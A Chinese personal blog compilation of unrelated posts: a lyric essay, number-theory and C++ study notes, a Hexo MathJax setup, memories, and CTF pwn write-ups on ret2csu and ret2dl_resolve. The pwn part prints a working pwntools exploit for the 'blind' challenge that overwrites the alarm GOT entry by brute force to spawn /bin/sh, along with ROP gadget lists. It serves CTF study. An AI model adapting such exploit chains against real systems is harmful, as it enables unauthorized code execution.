nop nop nop ret|

缘起：这几天，又是周杰伦的节奏出不来，今天，随笔记一下“天青色”

一直觉得，在周杰伦的歌里面，方文山作词的《青花瓷》色彩格外美丽。

就是“天青色等烟雨，而我在等你”

估计以后再也看不到这样的美丽了吧。

之前呢，一直觉得灵感可能是来自

云青青兮欲雨，水澹澹兮生烟。

这是李白的《梦游天姥吟留别》

海客谈瀛洲，烟涛微茫信难求；
越人语天姥，云霞明灭或可睹。
天姥连天向天横，势拔五岳掩赤城。
天台四万八千丈，对此欲倒东南倾。
我欲因之梦吴越，一夜飞度镜湖月。
湖月照我影，送我至剡溪。
谢公宿处今尚在，渌水荡漾清猿啼。
脚著谢公屐，身登青云梯。
半壁见海日，空中闻天鸡。
千岩万转路不定，迷花倚石忽已暝。
熊咆龙吟殷岩泉，栗深林兮惊层巅。
云青青兮欲雨，水澹澹兮生烟。
列缺霹雳，丘峦崩摧。
洞天石扉，訇然中开。
青冥浩荡不见底，日月照耀金银台。
霓为衣兮风为马，云之君兮纷纷而来下。
虎鼓瑟兮鸾回车，仙之人兮列如麻。
忽魂悸以魄动，恍惊起而长嗟。
惟觉时之枕席，失向来之烟霞。
世间行乐亦如此，古来万事东流水。
别君去兮何时还？且放白鹿青崖间。须行即骑访名山。
安能摧眉折腰事权贵，使我不得开心颜

但是后来，听了汝窑瓷器的故事。
釉色天青的汝窑瓷最难烧制，而古代的匠人们为了烧制出最美丽的天青色，在做好所有准备后，他一定要等，等到即将下雨的那一刻，最为合适的时刻………
因为你不知道填什么时候会下雨，你就在那里等啊，等雨一来的时候开始烧，刚好温度和湿度都合适的时候，那个最美丽的天青色就出来了
就是，你不知道。
不知道你的另一半会什么时候出现，你只能用你的生命去等。
一定有一刻，你刚好在，她刚好来，你的天青色。

附上《青花瓷》的歌词

3同余式

3.1一次同余式

同余式是数论的基本概念之一，设m是给定的一个正整数，a、b是整数，若满足$m|(a-b)$，则称a与b对模m同余，记为$a≡b(mod m)$，或记为$a≡b(m)$。这个式子称为模m的同余式，若m∤ (a-b)，则称a、b对模m不同余，同余概念又常表达为：$a=b+km(k∈Z)$；

3.1.1一次同余式的求解

需注意的是：同余式的解不是，按我们以往那样认为的是一个或某个解，它是一类解，即某个剩余类。

思想：利用同余和整除的相互转化

定理：若$(a,m)=1,（m \ge 1)$，则$ax \equiv b \pmod{m}$恰有一解。

证明：

$$ax \equiv b \pmod m \Rightarrow ax=b-my$$

$ax+my=b$ 有解要求$(a,m)|b$,但如果$(a,m)=1$,则对$b$不做要求。在$0 \le x\le m-1$范围内，$x$有唯一解

思来想去，还是分个段吧，毕竟文章太长了也没意思。

2同余

这一章讲同余，为后面的RSA密码做铺垫

2.1同余和剩余类

2.1.1同余

定义：同余（英语：Congruence modulo，符号：≡）在数学中是指数论中的一种等价关系。当两个整数除以同一个正整数，若得相同余数，则二整数同余。同余是抽象代数中的同余关系的原型。最先引用同余的概念与“≡”符号者为德国数学家高斯。(要想打出来，用拼音quandengyu，markdown的LaTex语法是\equiv)

eg:

$26≡14(mod12) 26和14模12的余是一样的

同余的一些基本性质：

说来也是无语，这几天在准备考试，从零开始预习信息安全数学基础。里面少不了大量的公式，就需要用到LaTex，当我发现我的LaTex没有渲染成功后，一直在找寻方法，然后…..然后就绕了一个大大圈

好了，不废话了。
对于有Mathjax选项的主题，可以直接在主题文件的_config.yml中选择开启，OK结束，就像这样

1
2
3
4
5
6

# MathJax
mathjax:
  enable: true
  per_page: true

我是用的是butterfly，是支持的。然而，被我一顿乱作，把hexo直接给整崩了。我TM…..欸

对于原本不支持的主题，可以有以下操作(我先说啊，我没试过，但看起来挺像那么回事，先自行备份，错了别找我
)

1.需要在 themes/YourThemeName/layout/ 下新建文件 mathjax.ejs 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

<% if (theme.mathjax.enable){ %>
<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      processEscapes: true,
      skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code']
    }
  });
  MathJax.Hub.Queue(function() {
    var all = MathJax.Hub.getAllJax(), i;
    for(i=0; i < all.length; i += 1) {
        all[i].SourceElement().parentNode.className += ' has-jax';
    }
  });
</script>
<script type="text/javascript" src="<%- theme.mathjax.cdn %>"></script>
<% } %>

2.需要在 themes/YourThemeName/_config.yml 末尾追加：

1
2
3
4

# MathJax Support
mathjax:
  enable: true
  cdn: https://cdn.jsdelivr.net/npm/mathjax@2.7.8/MathJax.js?config=TeX-AMS-MML_HTMLorMML

3.修改 themes/YourThemeName/layout/post.ejs 文件，在中间添加：

说明：此次笔记是为期末考试突击学习而产生

1 整除

1.1整除的概念

若整数b除以非零整数a，商为整数，且余数为零， 我们就说b能被a整除（或说a能整除b），b为被除数，a为除数，即a|b（“|”是整除符号），读作“a整除b”或“b能被a整除”。a叫做b的约数（或因数），b叫做a的倍数。整除属于除尽的一种特殊情况。

A|B 即A整除B

性质1：一个正合数，它的的因子中，大于1的最小正因数p一定是素数，且$$p \leq \sqrt{n}$$

如何快速筛选素数?

考点：

通过以上性质1可得Eratosthenes筛选法：

即求出不超过给定正整数$X(X \ge 1)$的所有素数，只要把2到$x$ 的所有合数都删去即可。因为不超过x的合数n必有一个素因子

随笔的一些记录

前些时间，有少年时的朋友过来找我，即使很难得才能见一次，但依然是当初的那种。两个人，围着学校转了转，如今他已经开始工作了，而我因为一些原因还没有毕业。恰逢初冬，学校里的银杏开始成片成片的变成金色，偶的一阵阵风吹过，树叶飘飘落下，引得一些小姑娘去合影拍照，这落叶和拍照的人都算的上是不错的风景。我们各自聊起最近的情况以及想法。
当然主要的还是我听他说。
他已经毕业，工作了，单位是国内近年崛起的比较好的硬件生产商。但国内的生产环境，对刚开始工作的新人不是很友好吧，或着说，很难让新人适应。
所以，他有些….抑郁了，我听他说了很久，长时间的非正常作息让他平时很少有正常的社交。工作的新环境可能也让他小心翼翼。
有的时候，真的会很需要一个朋友，哪怕只是简单的说说话。虽然现在大家都是生活在城市里，每天都会遇见很多人，但是…有时候也会感觉却像生活在原始森林里般孤独。

这倒让我想起了一些过往的一些有趣的事

曾经的一起不明飞行物目击事件，是的，真UFO。

那是夏天的一个晚上，我们在回家的路上，不知道是谁先开始，突然抬头往上看。说，有飞机。所有人都往天上看。隔着薄薄的云层，很明显的能看到一个飞行物的轮廓，云层被飞行物的光穿透，显示出它的轮廓。那是像战斗机一样大机翼布局。但那绝不是战斗机，因为就那天我们看到的那个场景。因为他的运动是那种非常诡异的缓慢(和云层做参照，刚学完初中物理)，如果是战斗机这种高速飞机，一定会失速。最关键的是，它非常大，那是你不需要仔细观察，不需要参照物都能感受的那种巨大。

我们这一行人中，只有小孩(至少现在看起是这样的)，地点则是尴尬的前不着村后不着店的地方。所有人都在震惊中，看着那个飞行物。看它缓缓移动。

到了第二天，大家去到学校，却都没有一个人谈起这件事，好像未曾发生，好像已然遗忘。

这段时间又开始要用到之前学的C++，选一项简单说说一些总结，当然具体的详细的一些东西，等以后有时间，再慢慢补充吧

作为面向对象的编译型语言，C++与C的主要区别，就是有类这个概念，与C中的结构体不同，C++的类里面是可以装函数的(C语言的结构体里面之只能装数据，最多装个函数指针)

之前，做的一些总结，已经知道C语言结构体在内存中的一些特点(物理相邻)，但是类中也是这样的吗？C++的类里面存放函数？
查了一些资料后，发现，C++类中的函数并不是并不会和类中的数据存放在一起，而是和其它的函数(普通的函数)存放在一起，如果C++类中，除了数据还定义有函数。在创建具体的对象后，函数体并不会和数据呆在一起，和数据呆在一起的只有一个指针，这个指针，指向一个指针数组，数组中都是该类定义函数的函数指针。
另外，如果有为方便，定义了虚函数，那么，该对象的内存中还会有一个指针，叫虚函数表指针(好像叫vtable_ptr),具体作用和前面的函数指针数组一样，不过，有一点不同的是，如果有被继承的动作，虚函数表被继承后是可改的，

每一个类都有各自的函数表，和虚函数表。有且只有一个(多了浪费内存空间)。每一个依据类而具现的对象，都只会有对应表的指针。

一定要，区分类的声明，和类的实现(一个是在，编译阶段起作用，一个是在实实在在出现在内存中)

还有就是命名空间(namespace)了，
命名空间最直接最原始的作用就是为了防止函数和数据的重名，C++做了很多的这样的努力(还有函数的重载)，就是为了避免C语言中千奇百怪的函数名出现。
其实，就最终的结果而言，并没有什么不同，在C++中，每一个函数最后(以他的参数，作用为特征区分)都会有它独一无二的名字，其实就相当于，起名字这个过程，我们(写代码的人)做了一半，而另一半则是由编译器帮我们完成，编译器会在编译阶段，为我们的函数名后面，加一点东西，作为特征。其中有一部分就是命名空间的。也就是说，在我们的函数名里面也是有一两个数据单位，指明了它是属于那个命名空间的

C++中有一个操作是，初始化列表，和构造函数作用差不多，效率也差不多,语法糖的作用多一点

具体的一部分，等之后再补吧

C中随机数的使用

承接之前的ret2dl_resolve,题目还是blind今天看ret2csu
利用，函数自带的一些gadget来给寄存器传参，最后调用syscall，等系统调用
原理部分：https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
这个利用方式似乎要比ret2dl_resolve简单得多。从wiki上看好像，原理的确没什么好讲的.但是对于这道题的利用，多少还是有一些技巧在里面的。先挂官方的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

from pwn import *
# context.log_level = 'debug'

#gdb.attach(p, "b*0x400753")
got_read = 0x601020
csu  = 0x04007BA
got_alarm = 0x601018

def csu(pret, rdx, rsi, edi):
 rop = p64(0x04007BA)+p64(0)+p64(1)+p64(pret)+p64(rdx)+p64(rsi)+p64(edi)+p64(0x04007A0)
 return rop
payload = b"a"*0x58+csu(got_read,1,got_alarm,0)+csu(got_read,59,0x601100,0)+csu(got_alarm,0,0,0x601100)
#分三步
#用read改写got_alarm中最后两位(爆破)，
#用read把/bin/sh写入bss段,并且利用这一步size(59,也是0x3b)将调用号写入rdx，为下一步做铺垫(这些就真是经验了)
#再调用alarm函数(改写后实际上调用的execve("/bin/sh"))
payload = payload.ljust(0x500, "\x00")
def exp(i):
  try:
   # p = remote("82.157.6.165", 37500)
   p = process("./blind")
   sleep(1)
   p.send(payload)
   gdb.attach(p)
   raw_input()

   p.send(chr(i))
   print(chr(i))
   p.send("/bin/sh".ljust(59, "\x00"))
   p.sendline("echo lucky")
   p.sendline("echo lucky")
   p.sendline("cat flag")
   if b'lucky' not in p.recv(5, timeout=5):
     raise Exception
   p.interactive()
  except EOFError:
   p.close()
if __name__ == '__main__':
 for i in range(255):
  exp(i)


0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007c0 : pop r14 ; pop r15 ; ret
0x00000000004007c2 : pop r15 ; ret
0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x00000000004007c3 : pop rdi ; ret
0x00000000004007c1 : pop rsi ; pop r15 ; ret
0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400549 : ret
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601060 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000601070 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000601080 R_X86_64_COPY     stderr@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  alarm@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT  sleep@GLIBC_2.2.5
0x400560: alarm@plt
0x400570: read@plt
0x400580: __libc_start_main@plt
0x400590: setvbuf@plt
0x4005a0: sleep@plt

我在做的时候不是，很理解，他怎么确认是爆破低位的(范围0x00~0xff)然后得到，syscall的，作为做题人，尤其第一次做，很难想到，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

pwndbg> x/50i 0x7f6a0a36f280
  0x7f6a0a36f280 <alarm>:	mov    eax,0x25
  0x7f6a0a36f285 <alarm+5>:	syscall         #第二个就是
  0x7f6a0a36f287 <alarm+7>:	cmp    rax,0xfffffffffffff001
  0x7f6a0a36f28d <alarm+13>:	jae    0x7f6a0a36f290 <alarm+16>
  0x7f6a0a36f28f <alarm+15>:	ret    
  0x7f6a0a36f290 <alarm+16>:	mov    rcx,QWORD PTR [rip+0x2f7be1]        # 0x7f6a0a666e78
  0x7f6a0a36f297 <alarm+23>:	neg    eax
  0x7f6a0a36f299 <alarm+25>:	mov    DWORD PTR fs:[rcx],eax
  0x7f6a0a36f29c <alarm+28>:	or     rax,0xffffffffffffffff
  0x7f6a0a36f2a0 <alarm+32>:	ret    
  0x7f6a0a36f2a1:	nop    WORD PTR cs:[rax+rax*1+0x0]
  0x7f6a0a36f2ab:	nop    DWORD PTR [rax+rax*1+0x0]
  0x7f6a0a36f2b0 <__sleep>:	push   rbp
  0x7f6a0a36f2b1 <__sleep+1>:	push   rbx
  0x7f6a0a36f2b2 <__sleep+2>:	mov    eax,edi
  0x7f6a0a36f2b4 <__sleep+4>:	sub    rsp,0x18
  0x7f6a0a36f2b8 <__sleep+8>:	mov    rbx,QWORD PTR [rip+0x2f7bb9]        # 0x7f6a0a666e78
  0x7f6a0a36f2bf <__sleep+15>:	mov    rdi,rsp
  0x7f6a0a36f2c2 <__sleep+18>:	mov    rsi,rsp
  0x7f6a0a36f2c5 <__sleep+21>:	mov    QWORD PTR [rsp+0x8],0x0
  0x7f6a0a36f2ce <__sleep+30>:	mov    QWORD PTR [rsp],rax
  0x7f6a0a36f2d2 <__sleep+34>:	mov    ebp,DWORD PTR fs:[rbx]
  0x7f6a0a36f2d5 <__sleep+37>:	call   0x7f6a0a36f360 <nanosleep>
  0x7f6a0a36f2da <__sleep+42>:	test   eax,eax
  0x7f6a0a36f2dc <__sleep+44>:	js     0x7f6a0a36f2f0 <__sleep+64>
  0x7f6a0a36f2de <__sleep+46>:	mov    DWORD PTR fs:[rbx],ebp
  0x7f6a0a36f2e1 <__sleep+49>:	add    rsp,0x18
  0x7f6a0a36f2e5 <__sleep+53>:	xor    eax,eax
  0x7f6a0a36f2e7 <__sleep+55>:	pop    rbx
  0x7f6a0a36f2e8 <__sleep+56>:	pop    rbp
  0x7f6a0a36f2e9 <__sleep+57>:	ret    

我原来的想法是ret2dl_resolve，因为出题人还专门发了一个readme.txt说，“不要去尝试爆破，没用的”。现在想想真是，信了他的邪。不过我觉得可能ret2csu应该是非预期，预期应该还是ret2dl_resolve.

总的来说，还是要有爆破，只不过ret2csu是爆破syscall，ret2dl_resolve要爆破libc

前言
所有的所有，都要归咎于前几天的西湖杯，不好意思爆蛋了，我看那道blind，就是是一个简单的栈溢出(简单的o.0…栈溢出),但是，我做不出来啊嘤嘤嘤 /(ㄒoㄒ)/~~，这两天一定要….算了。自己几斤几两心里还是有点数的.

之前简单地记了一下，plt表和got表的关系。就是为了给讲dl_resolve做铺垫…..找书，查资料。终于有了那么一点点进展，先写下来，免得以后忘了.这一篇就直接讲链接过程。所有测试以西湖杯2021的blind为例.

参考引用并致谢
https://zhuanlan.zhihu.com/p/37572651
https://www.freebuf.com/articles/system/170661.html
https://blog.csdn.net/qq_38204481/article/details/90074190
https://bbs.pediy.com/thread-227034.htm
https://www.cnblogs.com/L0g4n-blog/p/12977300.html
https://www.freesion.com/article/95641430219/
https://blog.csdn.net/qq_51868336/article/details/114644569

这几篇文章按顺序看也能差不多

铺垫
我觉得有必要先把ELF的一些东西交待清楚，不然就算理解了大概的原理，最后还是会写不出来

.dynamic”段

对lazy_binding(延迟绑定技术)的一些理解

参考引用：

.dynamic是什么https://www.cnblogs.com/gradyblog/p/8963879.html

lazy_bindinghttps://blog.csdn.net/qq_36963214/article/details/108920861

dl_runtime_resolvehttps://blog.csdn.net/jazrynwong/article/details/89851640

前言

本来这个知识点应该很早就应该写了，一直犯懒，不想写东西。最开始在做一些pwn题(主要是栈溢出的)的时候，就接触到这一知识点了，但是那时候一方面太菜，另一方面是暂时用不到(的确当时，会用就行了)，就没有深究这一知识点。后来，知识储备稍微足了一点后，也看《深入理解计算机系统》这本书，结合网上看一些资料，以及别的大佬的理解，勉强还是理解了。但也就此放过了(很不应该的)，结果后来时间一长，慢慢地又给忘得差不多了。现在重新来一遍吧，也为下一篇ret2dl_resovle。当然主要还是，抄《深入理解计算机系统》上面的内容，加上网上的一些资料和自己的一些理解。

正片